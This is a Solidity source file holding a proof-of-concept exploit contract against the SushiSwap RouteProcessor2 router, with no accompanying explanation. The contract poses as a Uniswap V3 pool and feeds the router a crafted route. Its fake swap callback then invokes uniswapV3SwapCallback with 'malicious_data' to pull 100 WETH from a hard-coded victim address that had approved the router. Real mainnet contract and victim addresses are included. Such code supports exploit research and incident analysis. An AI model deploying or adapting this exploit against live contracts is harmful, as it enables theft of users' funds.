File size: 2,514 Bytes
3eb7fab | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.4.22 <0.9.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
interface IUniswapV3Pool {
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
}
interface IRouteProcessor2 {
function processRoute(
address tokenIn,
uint256 amountIn,
address tokenOut,
uint256 amountOutMin,
address to,
bytes memory route
) external payable returns (uint256 amountOut);
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
function tridentCLSwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
contract SushiExp is IUniswapV3Pool {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address victim = 0x31d3243CfB54B34Fc9C73e1CB1137124bD6B13E1;
IRouteProcessor2 processor = IRouteProcessor2(0x044b75f554b886A065b9567891e45c79542d7357);
function exploit() public {
uint8 commandCode = 1;
uint8 num = 1;
uint16 share = 0;
uint8 poolType = 1;
address pool = address(this);
uint8 zeroForOne = 0;
address recipient = address(0);
bytes memory route = abi.encodePacked(
commandCode,
address(LINK),
num,
share,
poolType,
pool,
zeroForOne,
recipient
);
processor.processRoute(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, //native token
0,
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE,
0,
0x0000000000000000000000000000000000000000,
route
);
}
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1) {
amount0 = 0;
amount1 = 0;
bytes memory malicious_data = abi.encode(address(WETH), victim);
processor.uniswapV3SwapCallback(
100 * 10 ** 18,
0,
malicious_data
);
}
}
contract SushiExpProxy {
SushiExp f;
function exploit() public{
f = new SushiExp();
f.exploit();
}
} |